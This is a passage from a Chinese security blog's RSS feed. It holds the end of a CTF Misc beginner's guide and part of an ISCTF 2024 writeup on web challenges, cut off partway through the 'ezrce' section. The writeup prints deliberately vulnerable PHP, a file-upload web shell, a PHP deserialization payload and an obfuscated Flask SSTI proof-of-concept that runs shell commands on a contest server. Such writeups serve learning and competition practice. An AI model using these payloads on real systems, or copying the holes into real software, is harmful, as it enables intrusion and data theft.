href=&#34;https://www.ctfplus.cn/home&#34;&gt;CTF+&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.qsnctf.com/#/login&#34;&gt;青少年 CTF&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;多看多学&#34;&gt;多看多学&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%a4%9a%e7%9c%8b%e5%a4%9a%e5%ad%a6&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;推荐一些网络安全方面的网站：&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.52pojie.cn/&#34;&gt;吾爱破解 - 52pojie.cn&lt;/a&gt; “吾爱破解”，是&lt;strong&gt;中国最大的破解软件论坛，也是网络安全大牛的聚集地&lt;/strong&gt;，因为政策影响，现在破解资源越来越少，不过还有很多大神会在论坛发教学贴，现在每年双十一会开放免费注册，不过免费账号需要保持活跃才能保证不被删除，有想法的同学也可以选择赞助来加入论坛。&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://bbs.kanxue.com/&#34;&gt;看雪论坛-安全社区|非营利性质技术交流社区&lt;/a&gt; 看雪论坛是一个软件安全技术交流场所，以逆向工程、网络安全、软件保护等为核心主题的中文技术社区。&lt;/p&gt;&#xA;&lt;h2 id=&#34;结语&#34;&gt;结语&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e7%bb%93%e8%af%ad&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;p&gt;希望这篇入门指北能够对你有所帮助，哪怕只是在茫茫的杂项题海中为你点亮一丝微弱的烛光。它不能让你立刻成为 Misc 的高手，但或许能让你少走一些弯路，摸到一点点 Misc 的真谛。毕竟，Misc 的世界没有固定套路，只有无数奇怪的思路和天马行空的创意。或许你会在一次次的折磨中感到劝退，但如果能在其中找到属于自己的乐趣，那么这些杂乱无章的题目，也能变成意想不到的成就感与惊喜。&lt;/p&gt;&#xA;&lt;p&gt;篇幅有限，再考虑到指北所需要的趣味性，加之个人水平所限，本指北难免有不够周全之处。在这里向大家推荐 &lt;strong&gt;Lunatic 师傅&lt;/strong&gt; 的一篇优秀博客 —— &lt;a href=&#34;https://goodlunatic.github.io/posts/1ad9200/&#34;&gt;CTF-Misc Guide - ⚡Lunatic BLOG⚡&lt;/a&gt;，内容详尽，非常适合想要深入学习 Misc 的同学参考阅读。&lt;/p&gt;&#xA;</description>
    </item>
    
    <item>
      <title>ISCTF 2024 - Writeup</title>
      <link>https://new.mnzn.me/posts/isctf-2024-writeup/</link>
      <pubDate>Sun, 01 Dec 2024 00:00:00 +0000</pubDate>
      <guid>https://new.mnzn.me/posts/isctf-2024-writeup/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;upload/Image/02012b1d-20c6-4ffa-ab1a-1a7e69697daf.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;xxxx大学 x19 &amp;ndash; WriteUp&lt;/p&gt;&#xA;&lt;p&gt;解出的题目：&lt;/p&gt;&#xA;&lt;p&gt;Web：25时晓山瑞希生日会、小蓝鲨的冒险、ez_SSTI、UP!UPloader、1z_php、ezserialize、ezrce、小蓝鲨的秘密、天命人、小蓝鲨的临时存储室、千年樱、ezlogin、新闻系统、小蓝鲨的故事、ezejs、蓝鲨的java入门课堂、小蓝鲨的书店&lt;/p&gt;&#xA;&lt;p&gt;Pwn：NetCat、girlfriend、ezgame&lt;/p&gt;&#xA;&lt;p&gt;Misc：问卷、小蓝鲨的签到02、数字迷雾：在像素中寻找线、游园地1、游园地2、小蓝鲨的签到01、少女的秘密花园、赢!rar、老八奇怪自拍照、File_Format、watermark、秘密、奇怪的txt、神秘ping、像素圣战、starry sky、神秘的wav、来自天外的信息&lt;/p&gt;&#xA;&lt;p&gt;Crypto：我和小蓝鲨的秘密、ChaCha20-Poly1305、小蓝鲨的密码&lt;/p&gt;&#xA;&lt;p&gt;Re：Ezre、py不好，会被ban&lt;/p&gt;&#xA;&lt;h2 id=&#34;一web&#34;&gt;一、Web&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e4%b8%80web&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;h4 id=&#34;25时晓山瑞希生日会&#34;&gt;25时晓山瑞希生日会&lt;a class=&#34;heading-anchor&#34; href=&#34;#25%e6%97%b6%e6%99%93%e5%b1%b1%e7%91%9e%e5%b8%8c%e7%94%9f%e6%97%a5%e4%bc%9a&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731571543514-b49c646a-6d6b-4860-bcd0-bf6b0b811ac7.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;这里设置 UA: Project Sekai 就行&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731571651388-fb0ba4cf-b575-4a4a-9abe-a79365f82e75.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;这里设置 X-Forwarded-For 为 127.0.0.1&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731571674198-7b7bccb9-ec69-4509-9150-c41720399717.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;设置 Time 发现不对，设置Date有回显：&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731571712085-a6fb39bf-6c6a-4d60-9dba-1916eec2fd20.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;百度 RCF 822时间格式，&lt;/p&gt;&#xA;&lt;p&gt;EEE, dd MMM yyyy HH:mm Z&lt;/p&gt;&#xA;&lt;p&gt;格式有了，那么时间是什么时候？根据这个神秘的晓山瑞希生日会提示进行上网搜索，得到如下提示：&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731571858889-5f4e9143-85aa-45df-9998-7db614bd02de.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;那时间也就是2024年8月26日 23点&lt;/p&gt;&#xA;&lt;p&gt;所以按照这个格式来写&lt;/p&gt;&#xA;&lt;p&gt;Mon, 26 Aug 2024 23:00:00 GMT&lt;/p&gt;&#xA;&lt;p&gt;请求之后发现：&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731571961403-bbae61e6-9d3e-4cf9-87a8-c5b46ec88148.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;按照这个意思，日期改为&lt;/p&gt;&#xA;&lt;p&gt;Mon, 27 Aug 2024 05:00:00 GMT&lt;/p&gt;&#xA;&lt;p&gt;请求后返回flag。&lt;/p&gt;&#xA;&lt;h4 id=&#34;小蓝鲨的冒险&#34;&gt;小蓝鲨的冒险&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%b0%8f%e8%93%9d%e9%b2%a8%e7%9a%84%e5%86%92%e9%99%a9&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;先进行一个代码审计。&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  error_reporting(0);&#xA;highlight_file(__FILE__);&#xA;$a = &amp;quot;isctf2024&amp;quot;;&#xA;$b = $_GET[&amp;quot;b&amp;quot;];&#xA;@parse_str($b);&#xA;echo &amp;quot;小蓝鲨开始闯关，你能帮助他拿到flag吗?&amp;lt;br&amp;gt;&amp;quot;;&#xA;if ($a[0] != &#39;QNKCDZO&#39; &amp;amp;&amp;amp; md5($a[0]) == md5(&#39;QNKCDZO&#39;)) {&#xA;  $num = $_POST[&amp;quot;num&amp;quot;];&#xA;  echo &amp;quot;第一关有惊无险！小蓝鲨壮着胆子接着继续往下走！&amp;lt;br&amp;gt;&amp;quot;;&#xA;  if($num == 2024){&#xA;    die(&amp;quot;QAQ小蓝鲨误入陷阱，不怕，再接再厉！&amp;quot;);&#xA;  }&#xA;  if(preg_match(&amp;quot;/[a-z]/i&amp;quot;, $num)){&#xA;    die(&amp;quot;陷阱太多QAQ&amp;quot;);&#xA;  }&#xA;  if(intval($num,0) == 2024){&#xA;    echo &amp;quot;到这了难道还要放弃吗？&amp;lt;br&amp;gt;&amp;quot;;&#xA;    if (isset($_GET[&#39;which&#39;])){&#xA;      $which = $_GET[&#39;which&#39;];&#xA;      echo &amp;quot;小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油，还差最后一步了！&amp;quot;;&#xA;      switch ($which){&#xA;        case 0:&#xA;        print(&#39;QAQ&#39;);&#xA;        case 1:&#xA;        case 2:&#xA;        require_once $which.&#39;.php&#39;;&#xA;        echo $flag;&#xA;        break;&#xA;        default:&#xA;        echo GWF_HTML::error(&#39;PHP-0817&#39;, &#39;Hacker NoNoNo!&#39;, false);&#xA;        break;&#xA;      }&#xA;    }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;第一层判断：&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;if ($a[0] != &#39;QNKCDZO&#39; &amp;amp;&amp;amp; md5($a[0]) == md5(&#39;QNKCDZO&#39;)) {&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;也就是说我们需要让a[0]不等于QNKCDZO，同时对它进行md5也不能等于QNKCDZO的MD5值。&lt;/p&gt;&#xA;&lt;p&gt;考虑到@parse_str($b);，可以联想到变量覆盖：令参数b=a=xxx，经过parse_str后可将a重新赋值为xxx。&lt;/p&gt;&#xA;&lt;p&gt;那么a要填入的值应该是什么呢？由于要让md5等于QNKCDZO的MD5值，而QNKCDZO的MD5是0E830400451993494058024219903391。&lt;/p&gt;&#xA;&lt;p&gt;这里我们看见0e开头，以及弱比较，就知道这一定利用了php的另外一个常见漏洞：md5的弱比较。0e开头会直接识别为以科学计数法作为格式的数字，也就是记为0。&lt;/p&gt;&#xA;&lt;p&gt;关于md5弱比较这块网上讲的更清楚一些，我们这里直接百度一个md5值为0e的字符串拿来用就好，比如240610708&lt;/p&gt;&#xA;&lt;p&gt;因此请求参数为 b=a[0]=240610708&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731572541996-dce50c68-6123-4bd5-8247-77323f277d23.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;进入了下一个判断：&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; $num = $_POST[&amp;quot;num&amp;quot;];&#xA;  echo &amp;quot;第一关有惊无险！小蓝鲨壮着胆子接着继续往下走！&amp;lt;br&amp;gt;&amp;quot;;&#xA;  if($num == 2024){&#xA;    die(&amp;quot;QAQ小蓝鲨误入陷阱，不怕，再接再厉！&amp;quot;);&#xA;  }&#xA;  if(preg_match(&amp;quot;/[a-z]/i&amp;quot;, $num)){&#xA;    die(&amp;quot;陷阱太多QAQ&amp;quot;);&#xA;  }&#xA;  if(intval($num,0) == 2024){&#xA;    echo &amp;quot;到这了难道还要放弃吗？&amp;lt;br&amp;gt;&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;这里是要post一个num，这个num既要等于2024，又不能直接等于2024的十进制，也不能使用十六进制绕过&lt;/p&gt;&#xA;&lt;p&gt;所以我们就用八进制好了&lt;/p&gt;&#xA;&lt;p&gt;2024(10) =&amp;gt; 03750(8)&lt;/p&gt;&#xA;&lt;p&gt;这里前面加了个0的原因是 intval 在输入字符串第一位是0时才会按八进制解析&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731572766719-d7e079f8-bc9a-4443-9002-d36e3507c0be.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; if (isset($_GET[&#39;which&#39;])){&#xA;$which = $_GET[&#39;which&#39;];&#xA;echo &amp;quot;小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油，还差最后一步了！&amp;quot;;&#xA;switch ($which){&#xA;case 0:&#xA;print(&#39;QAQ&#39;);&#xA;case 1:&#xA;case 2:&#xA;require_once $which.&#39;.php&#39;;&#xA;echo $flag;&#xA;break;&#xA;default:&#xA;echo GWF_HTML::error(&#39;PHP-0817&#39;, &#39;Hacker NoNoNo!&#39;, false);&#xA;break;&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;接下来需要我们传参which，我们仔细观察输出flag部分的代码块。&lt;/p&gt;&#xA;&lt;p&gt;看到后面的switch case都是数字，这里可以利用另外一个PHP特性：switch case为数字时，传参字符串如果不包含数字，会解析为0&lt;/p&gt;&#xA;&lt;p&gt;正好从case 0 到 case 2之间都没有break，可以顺利走到2的地方去。&lt;/p&gt;&#xA;&lt;p&gt;这里echo flag之前有一句require_once which.‘.php’;，那么为了拿到flag，必须保证这一行不会有问题，否则就无法输出flag。因此我们需要找到另外一个可用的未被引用的php文件。随便测试一下，发现flag.php是存在的，那就你吧！&lt;/p&gt;&#xA;&lt;p&gt;直接which=flag&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731573021942-1e47ccef-ad61-4343-9e0d-669ee83d71d5.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;返回flag。&lt;/p&gt;&#xA;&lt;h4 id=&#34;ez_ssti&#34;&gt;ez_SSTI&lt;a class=&#34;heading-anchor&#34; href=&#34;#ez_ssti&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;根据题目名和简介，可以知道应该是考python flask SSTI漏洞。&lt;/p&gt;&#xA;&lt;p&gt;我们在输入框里随便构建几个字符串进行测试，比如{{7*7}}&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731573196260-5a8f4e7e-b6e8-496c-8dca-4c78eb1ab434.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;发现返回了49，那基本确定了就是这个考点。&lt;/p&gt;&#xA;&lt;p&gt;我们直接输一个获取当前系统所有py模块的代码：{{[].&lt;strong&gt;class&lt;/strong&gt;.&lt;strong&gt;base&lt;/strong&gt;.&lt;strong&gt;subclasses&lt;/strong&gt;()&amp;quot;)}}&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731573455178-6f86c11e-be01-429a-b19d-0968b2eeb117.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;发现存在waf，所以现在需要绕过。&lt;/p&gt;&#xA;&lt;p&gt;具体构建方式可参考此文档：&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.cnblogs.com/meraklbz/p/18265889&#34;&gt;python SSTI 过滤器绕过 - meraklbz - 博客园&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;依照此构建方法，我们构建payload:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;**&amp;lt;font style=&amp;quot;color:rgb(216, 59, 100);background-color:rgb(249, 242, 244);&amp;quot;&amp;gt;__import__(&#39;os&#39;).popen(&#39;cat ../flag&#39;).read()&amp;lt;/font&amp;gt;**&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;{% set pld = xhx_2impxhx_2leftyinsoyinrightpointponleftyincaspacepointpointslasflgyinrightpointredleft~right %}&lt;/p&gt;&#xA;&lt;p&gt;最终的poc:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import requests&#xA;url=&amp;quot;http://27.25.151.12:21517/&amp;quot;&#xA;payload=&amp;quot;&amp;quot;&amp;quot;&#xA;{% set zero = (self|int) %}&#xA;{% set one = (zero**zero)|int %}&#xA;{% set two = (zero-one-one)|abs %}&#xA;{% set three = (zero-one-one-one)|abs %}&#xA;{% set four = (two*two)|int %}&#xA;{% set five = (two*two*two-one-one-one)|int %}&#xA;{% set six=(three*two)|int%}&#xA;{% set seven = (zero-one-one-five)|abs %}&#xA;{% set eight=(two*four) |int %}&#xA;{% set nine = (zero-seven-one-one)|abs %}&#xA;{% set c = dict(c=aa)|reverse|first %}&#xA;{% set bfh = self|string|urlencode|first %}&#xA;{% set bfhc=bfh~c %}&#xA;{% set slas = bfhc%((four~seven)|int) %}&#xA;{% set yin = bfhc%((three~nine)|int) %}&#xA;{% set xhx = bfhc%((nine~five)|int) %}&#xA;{% set right = bfhc%((four~one)|int) %}&#xA;{% set left = bfhc%((four~zero)|int) %}&#xA;{% set space = bfhc%((three~two)|int) %}&#xA;{% set point = bfhc%((four~six)|int) %}&#xA;{% set leftsquare = bfhc%((nine~one)|int) %}&#xA;{% set rightsquare =bfhc%((nine~three)|int) %}&#xA;{% set but = dict(buil=aa,tins=dd)|join %}&#xA;{% set imp = dict(imp=aa,ort=dd)|join %}&#xA;{% set pon = dict(po=aa,pen=dd)|join %}&#xA;{% set so = dict(o=aa,s=dd)|join %}&#xA;{% set ca = dict(ca=aa,t=dd)|join %}&#xA;{% set flg = dict(fl=aa,ag=dd)|join %}&#xA;{% set sl = dict(l=aa,s=bb)|join %}&#xA;{% set dri = dict(di=aa,r=bb)|join %}&#xA;{% set ev = dict(ev=aa,al=dd)|join %}&#xA;{% set red = dict(re=aa,ad=dd)|join %}&#xA;{% set bul = xhx~xhx~but~xhx~xhx %}&#xA;{% set ini = dict(ini=aa,t=bb)|join %}&#xA;{% set glo = dict(glo=aa,bals=bb)|join %}&#xA;{% set itm = dict(ite=aa,ms=bb)|join %}&#xA;{% set pld = xhx*2~imp~xhx*2~left~yin~so~yin~right~point~pon~left~yin~ca~space~point~point~slas~flg~yin~right~point~red~left~right %}&#xA;{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}&#xA;{% if f == bul %}&#xA;{% for a,b in (v|attr(itm))() %}&#xA;{% if a == ev %}&#xA;{{b(pld)}}&#xA;{% endif %}&#xA;{% endfor %}&#xA;{% endif %}&#xA;{% endfor %}&#xA;&amp;quot;&amp;quot;&amp;quot;&#xA;payload=payload.replace(&amp;quot; &amp;quot;,&amp;quot;\n&amp;quot;)&#xA;data={&amp;quot;user_input&amp;quot;:payload}&#xA;print(requests.post(data=data,url=url).text)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;替换url，运行即可获得flag。&lt;/p&gt;&#xA;&lt;h4 id=&#34;upuploader&#34;&gt;UP!UPloader&lt;a class=&#34;heading-anchor&#34; href=&#34;#upuploader&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;请求index.php可以请求通，初步判断是考察php文件上传rce。&lt;/p&gt;&#xA;&lt;p&gt;随便上传一个一句话shell，回显：&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731574791354-391e0232-d321-4d8b-a632-547b6d9b4877.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;提示include.php，我们进去看看：&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731574806212-85c0de00-bcbe-4b4b-a6c6-07cd61369cf3.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;推测点了包含文件后就会执行include(PHP)的方法。&lt;/p&gt;&#xA;&lt;p&gt;我们尝试include index.php，发现可以正常包含，推测成立。&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731574919642-8d8e0505-f117-4f07-8857-4a089308ef82.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;构建：php://filter/convert.base64-encode/resource=index.php** **来读取index.php的源码：&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html lang=&amp;quot;zh-CN&amp;quot;&amp;gt;&#xA;    &amp;lt;head&amp;gt;&#xA;        &amp;lt;meta charset=&amp;quot;UTF-8&amp;quot;&amp;gt;&#xA;        &amp;lt;title&amp;gt;文件上传示例&amp;lt;/title&amp;gt;&#xA;&#xA;    &amp;lt;/head&amp;gt;&#xA;&#xA;    &amp;lt;body&amp;gt;&#xA;        &amp;lt;form action=&amp;quot;upload.php&amp;quot; method=&amp;quot;post&amp;quot; enctype=&amp;quot;multipart/form-data&amp;quot;&amp;gt;&#xA;            &amp;lt;label for=&amp;quot;file&amp;quot;&amp;gt;选择要上传的文件:&amp;lt;/label&amp;gt;&#xA;&#xA;            &amp;lt;input type=&amp;quot;file&amp;quot; name=&amp;quot;file&amp;quot; id=&amp;quot;file&amp;quot; required&amp;gt;&#xA;            &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#xA;            &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;上传文件&amp;quot;&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&#xA;&#xA;    &amp;lt;/body&amp;gt;&#xA;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;没什么亮点，依法炮制拿到upload.php：&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;error_reporting(0);&#xA;$file = $_FILES[&#39;file&#39;];&#xA;if (isset($file) &amp;amp;&amp;amp; $file[&#39;size&#39;] &amp;gt; 0) {&#xA;    $ext = pathinfo($file[&#39;name&#39;], PATHINFO_EXTENSION);&#xA;    $name = pathinfo($file[&#39;name&#39;], PATHINFO_FILENAME);&#xA;    $dir_name = $name . &#39;.&#39; . $ext;&#xA;    $upload_dir = &#39;./uploads/&#39;;&#xA;    if (!is_dir($upload_dir)) {&#xA;        mkdir($upload_dir, 0755, true);&#xA;    }&#xA;    if (move_uploaded_file($file[&#39;tmp_name&#39;], $upload_dir . md5($dir_name) . &#39;.&#39; . $ext)) {&#xA;        echo &amp;quot;文件上传成功！不过文件路径可不好找呀~什么？什么include.php？我不知道啊。&amp;quot; ;&#xA;    } else {&#xA;        echo &amp;quot;文件存储失败，未知原因......&amp;quot;;&#xA;    }&#xA;    die();&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;代码审计可以发现上传路径为uploads/文件md5.后缀名，所以我们上传的crash.php可访问路径就是/uploads/beade939f8b8be6272b68b7b29f60152.php。&lt;/p&gt;&#xA;&lt;p&gt;直接启动中国蚁剑进行连接。&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731576040927-d2f32e06-bf44-4c43-bded-2fc92fc0e25e.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;根目录找flag。&lt;/p&gt;&#xA;&lt;h4 id=&#34;1z_php&#34;&gt;1z_php&lt;a class=&#34;heading-anchor&#34; href=&#34;#1z_php&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;highlight_file(&#39;index.php&#39;);&#xA;&#xA;#一句话木马，神神又奇奇&#xA;&#xA;if(isset($_POST[&#39;J&#39;])){&#xA;$call=$_POST[&#39;J&#39;];&#xA;$dangerous_commands = [&#39;cat&#39;, &#39;tac&#39;, &#39;head&#39;, &#39;nl&#39;, &#39;more&#39;, &#39;less&#39;, &#39;tail&#39;, &#39;vi&#39;, &#39;sed&#39;, &#39;od&#39;];&#xA;foreach ($dangerous_commands as $command) {&#xA;if (preg_match(&amp;quot;/$command/i&amp;quot;, $call)) {&#xA;die(&amp;quot;这些个危险函数可不兴使啊&amp;quot;);&#xA;}&#xA;}&#xA;system($call);&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;签到题，直接&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731576245197-17443cac-74fb-421f-bcf0-811cd48f8044.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;发现flag，用sort读取。&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731576276583-2db6e27d-4396-426a-a322-0982b29ac3ea.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;ezserialize&#34;&gt;ezserialize&lt;a class=&#34;heading-anchor&#34; href=&#34;#ezserialize&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  error_reporting(0);&#xA;&#xA;class Flag {&#xA;  private $flag;&#xA;&#xA;  public function __construct() {&#xA;    $this-&amp;gt;flag = file_get_contents(&#39;/flag&#39;);&#xA;  }&#xA;&#xA;  public function getFlag() {&#xA;    return $this-&amp;gt;flag;&#xA;  }&#xA;&#xA;  public function __toString() {&#xA;    return &amp;quot;You can&#39;t directly access the flag!&amp;quot;;&#xA;  }&#xA;}&#xA;&#xA;class User {&#xA;  public $username;&#xA;  public $isAdmin = false;&#xA;&#xA;  public function __construct($username) {&#xA;    $this-&amp;gt;username = $username;&#xA;  }&#xA;&#xA;  public function __wakeup() {&#xA;    if ($this-&amp;gt;isAdmin) {&#xA;      echo &amp;quot;Welcome, admin! Here&#39;s your flag: &amp;quot; . (new Flag())-&amp;gt;getFlag();&#xA;    } else {&#xA;      echo &amp;quot;Hello, &amp;quot; . htmlspecialchars($this-&amp;gt;username) . &amp;quot;!&amp;quot;;&#xA;    }&#xA;  }&#xA;}&#xA;&#xA;if (isset($_GET[&#39;data&#39;])) {&#xA;  $data = $_GET[&#39;data&#39;];&#xA;&#xA;  $object = unserialize($data);&#xA;  if ($object instanceof User) {&#xA;    echo $object;&#xA;  } else {&#xA;    echo &amp;quot;Invalid object!&amp;quot;;&#xA;  }&#xA;} else {&#xA;  highlight_file(__FILE__);&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;代码审计，这可能是世界上最简单的php反序列化考题。&lt;/p&gt;&#xA;&lt;p&gt;我们只需让isAdmin=true，剩下的都不需要构建什么链了。&lt;/p&gt;&#xA;&lt;p&gt;直接上poc：&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;class User {&#xA;  public $username;&#xA;  public $isAdmin = true;&#xA;}&#xA;&#xA;$ins = new User();&#xA;&#xA;echo serialize($ins);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;结果：O:4:&amp;ldquo;User&amp;rdquo;:2:{s:8:&amp;ldquo;username&amp;rdquo;;N;s:7:&amp;ldquo;isAdmin&amp;rdquo;;b:1;}&lt;/p&gt;&#xA;&lt;p&gt;直接去请求：&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731576641031-ae2faff7-4562-436f-80a7-85cf74ef1354.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;ezrce&#34;&gt;ezrce&lt;a class=&#34;heading-anchor&#34; href=&#34;#ezrce&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;error_reporting(0);&#xA;&#xA;if (isset($_GET[&#39;cmd&#39;])) {&#xA;$cmd = $_GET[&#39;cmd&#39;];&#xA;&#xA;if (preg_match(&amp;quot;/flag|cat|ls|echo|php|bash|sh|more| 